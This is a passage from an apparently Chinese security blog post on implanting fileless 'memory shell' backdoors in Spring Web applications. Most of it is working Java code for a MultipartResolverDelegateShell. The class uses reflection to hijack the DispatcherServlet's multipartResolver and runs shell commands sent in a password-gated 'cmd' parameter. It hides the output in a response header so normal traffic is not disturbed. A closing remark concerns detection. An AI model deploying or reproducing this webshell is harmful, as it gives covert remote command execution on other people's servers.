instanceof HandlerAdapterShell) && handlerAdapter.supports(handler)){` `return handlerAdapter.getLastModified(request,handler);` `}` `}` `return 0;` `}``}`` `
前面两大类实现SpringWeb内存马的方式,都是针对Spring路由处理过程中涉及到的重要类对象,实际上要注入内存马,有三个重要的前提:
能拿到输入,也就是要能拿到request对象
能够将执行结果回显,理论上是要拿到response对象,但需要处理一些小细节,例如拿到response对象过早,则写入响应体,很可能会被后面覆盖。
不能影响正常业务的处理过程。
我们知道,在SpringWeb中,可以通过RequestContextHolder直接拿到当前的request和response。
`HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();``HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();`
因此两个前提在Spring是天然满足的,只要能够hook路由处理上的某些方法即可,只不过需要关心一些回显的一些细节。
观察DispatcherServlet的doDispatch方法,在一开始会有一段判断是否为Multipart请求的过程。
继续跟进会发现会涉及multipartResolver来处理request。
因此,也可以通过hook DispatcherServlet的multipartResolver属性,来达到内存马的目的。不过不能在multipartResolver直接终止后续的过程返回,因此这里选择了将结果写到响应头,避免直接写到响应体被覆盖。
`public class MultipartResolverDelegateShell implements MultipartResolver{`` ` `private MultipartResolver resolverDelegate;`` ` `public String injectShell() throws Exception{` `DispatcherServlet servlet = new Util().getServlet();` `Field field = Util.getField(DispatcherServlet.class,"multipartResolver");` `MultipartResolver multipartResolver = (MultipartResolver) field.get(servlet);` `MultipartResolverDelegateShell multipartResolverDelegateShell = new MultipartResolverDelegateShell(multipartResolver);` `field.set(servlet,multipartResolverDelegateShell);` `return "{\"\result\":\"injectMultipartResolverDelegateShell\"}";` `}`` ` `public MultipartResolverDelegateShell(){` `}`` ` `public MultipartResolverDelegateShell(MultipartResolver resolverDelegate){` `this.resolverDelegate = resolverDelegate;` `}`` ` `@Override` `public boolean isMultipart(HttpServletRequest request) {` `String passwd = request.getParameter("mypasswd");` `String cmd = request.getParameter("cmd");` `if (passwd!=null && cmd!=null && passwd.equals("ape1ron") && !cmd.isEmpty()){` `try {` `HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();` `boolean islinux = true;` `String osType = System.getProperty("os.name");` `if (osType !=null && osType.toLowerCase().contains("win")){` `islinux = false;` `}` `String[] cmds = islinux ? new String[]{"sh","-c",request.getParameter("cmd")} : new String[]{"cmd.exe","/c",request.getParameter("cmd")};` `InputStream in = null;` `in = Runtime.getRuntime().exec(cmds).getInputStream();` `Scanner s = new Scanner(in).useDelimiter("\\A");` `String output = s.hasNext() ? s.next() : "";` `response.setHeader("result",new String(Base64.getEncoder().encode(output.getBytes())));` `} catch (IOException e) {` `throw new RuntimeException(e);` `}` `}` `if(this.resolverDelegate != null){` `return this.resolverDelegate.isMultipart(request);` `}` `return false;` `}`` ` `@Override` `public MultipartHttpServletRequest resolveMultipart(HttpServletRequest request) throws MultipartException {` `if(this.resolverDelegate != null){` `return this.resolverDelegate.resolveMultipart(request);` `}` `return null;` `}`` ` `@Override` `public void cleanupMultipart(MultipartHttpServletRequest request) {` `if(this.resolverDelegate != null){` `this.resolverDelegate.cleanupMultipart(request);` `}` `}``}`
===
Spring内存马的变化形式非常多,不能单纯依赖从某个HandlerMapping取出对象来判断,也不能依靠对象类型来进行判断。